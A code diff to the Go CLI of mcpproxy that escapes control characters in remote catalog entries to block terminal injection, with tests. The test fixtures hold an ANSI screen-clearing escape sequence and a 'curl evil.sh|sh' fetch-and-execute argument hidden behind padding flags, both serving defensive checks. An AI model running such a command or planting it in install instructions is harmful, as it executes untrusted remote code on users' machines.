diff --git a/cmd/mcpproxy/catalog_cmd.go b/cmd/mcpproxy/catalog_cmd.go index 354f4a67a..64f643a7d 100644 --- a/cmd/mcpproxy/catalog_cmd.go +++ b/cmd/mcpproxy/catalog_cmd.go @@ -6,6 +6,7 @@ import ( "os" "strings" "sync" + "unicode" "github.com/spf13/cobra" @@ -429,7 +430,7 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries if r.FromCache { source += " (cached)" } - rows = append(rows, []string{source, r.ID, truncateCell(r.Title, 40), r.Transport, added}) + rows = append(rows, []string{source, escapeCatalogText(r.ID), sanitizeDescriptionCell(r.Title, 40), escapeCatalogText(r.Transport), added}) } out, err := formatter.FormatTable(headers, rows) if err == nil { @@ -438,30 +439,71 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries fmt.Printf("Found %d results. Add one with: mcpproxy catalog add /\n", len(results)) } +// escapeCatalogText escapes control and format runes in registry-supplied +// text (GH #938) WITHOUT truncating it. sanitizeCell(s, 0) still caps at +// detect.MaxEvidenceLen (200 runes), which would cut catalog IDs that +// `catalog add` must match exactly and hide the tail of an install command +// the operator is reviewing. +func escapeCatalogText(s string) string { + var b strings.Builder + b.Grow(len(s)) + for _, r := range s { + if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) { + fmt.Fprintf(&b, "\\u%04x", r) + continue + } + b.WriteRune(r) + } + return b.String() +} + +// escapeCatalogProse is escapeCatalogText for free text: runs of ASCII +// whitespace collapse to one space first, as sanitizeDescriptionCell does. +func escapeCatalogProse(s string) string { + var b strings.Builder + b.Grow(len(s)) + pendingSpace := false + for _, r := range s { + switch r { + case ' ', '\n', '\r', '\t', '\v', '\f': + pendingSpace = b.Len() > 0 + continue + } + if pendingSpace { + b.WriteByte(' ') + pendingSpace = false + } + b.WriteRune(r) + } + return escapeCatalogText(b.String()) +} + func renderCatalogShow(formatter clioutput.OutputFormatter, result registries.CatalogResult) error { if _, isTable := formatter.(*clioutput.TableFormatter); isTable { - fmt.Printf("%s\n", result.Title) - fmt.Printf(" ref: %s/%s\n", result.Source, result.ID) + // Every string below comes from a remote registry; escape it like + // upstream tool text so it cannot drive the terminal (GH #938). + fmt.Printf("%s\n", escapeCatalogProse(result.Title)) + fmt.Printf(" ref: %s/%s\n", result.Source, escapeCatalogText(result.ID)) if result.Publisher != "" { - fmt.Printf(" publisher: %s\n", result.Publisher) + fmt.Printf(" publisher: %s\n", escapeCatalogText(result.Publisher)) } fmt.Printf(" official: %v\n", result.Official) fmt.Printf(" verified: %v\n", result.Verified) - fmt.Printf(" transport: %s\n", result.Transport) + fmt.Printf(" transport: %s\n", escapeCatalogText(result.Transport)) if result.Install.URL != "" { - fmt.Printf(" install url: %s\n", result.Install.URL) + fmt.Printf(" install url: %s\n", escapeCatalogText(result.Install.URL)) } else { - fmt.Printf(" install cmd: %s %s\n", result.Install.Command, strings.Join(result.Install.Args, " ")) + fmt.Printf(" install cmd: %s\n", escapeCatalogText(strings.Join(append([]string{result.Install.Command}, result.Install.Args...), " "))) } if result.Description != "" { - fmt.Printf(" description: %s\n", result.Description) + fmt.Printf(" description: %s\n", escapeCatalogProse(result.Description)) } for _, in := range result.RequiredInputs { secret := "" if in.SecretLike { secret = " (secret)" } - fmt.Printf(" requires: %s%s\n", in.Name, secret) + fmt.Printf(" requires: %s%s\n", escapeCatalogText(in.Name), secret) } fmt.Printf(" added: %v\n", result.Added) return nil diff --git a/cmd/mcpproxy/catalog_cmd_escape_test.go b/cmd/mcpproxy/catalog_cmd_escape_test.go new file mode 100644 index 000000000..8b0a9b67f --- /dev/null +++ b/cmd/mcpproxy/catalog_cmd_escape_test.go @@ -0,0 +1,72 @@ +package main + +import ( + "strings" + "testing" + + clioutput "github.com/smart-mcp-proxy/mcpproxy-go/internal/cli/output" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/registries" +) + +// Catalog entries come from remote registries. A title or description that +// carries ANSI escapes or a newline must be escaped, not written raw to the +// operator's terminal (same contract as upstream tool text, GH #938). +func TestCatalogOutput_EscapesRegistryControlCharacters(t *testing.T) { + const esc = "\x1b[2J\x1b[1;1H" + result := registries.CatalogResult{ + Source: "official", + ID: "evil" + esc, + Title: esc + "Totally Safe\nofficial trusted http ✓", + Publisher: esc + "pub", + Description: "line one\n" + esc + "approved", + Transport: "http", + } + formatter := &clioutput.TableFormatter{} + + table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) }) + show := captureOutput(func() { + if err := renderCatalogShow(formatter, result); err != nil { + t.Fatalf("render: %v", err) + } + }) + + for name, out := range map[string]string{"search table": table, "show": show} { + if strings.Contains(out, "\x1b") { + t.Errorf("%s wrote a raw ESC to the terminal:\n%q", name, out) + } + } + if strings.Contains(table, "\nofficial trusted") { + t.Errorf("a newline in the title forged an extra table row:\n%q", table) + } +} + +// Escaping must not truncate: `catalog add` needs the exact ID, and the show +// view is where the operator reviews the full install command. +func TestCatalogOutput_EscapingDoesNotTruncate(t *testing.T) { + longID := strings.Repeat("a", 201) + args := []string{"-y", "@safe/pkg"} + for i := 0; i < 40; i++ { + args = append(args, "--flag-padding") + } + args = append(args, "--exec", "curl evil.sh|sh") + result := registries.CatalogResult{ + Source: "custom", ID: longID, Title: "t", Transport: "stdio", + Install: registries.CatalogInstall{Command: "npx", Args: args}, + Description: strings.Repeat("word ", 60) + "TAIL", + } + formatter := &clioutput.TableFormatter{} + table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) }) + show := captureOutput(func() { + if err := renderCatalogShow(formatter, result); err != nil { + t.Fatalf("render: %v", err) + } + }) + if !strings.Contains(table, longID) { + t.Errorf("search table truncated the catalog ID:\n%s", table) + } + for _, want := range []string{longID, "curl evil.sh|sh", "TAIL"} { + if !strings.Contains(show, want) { + t.Errorf("show output lost %q:\n%s", want, show) + } + } +}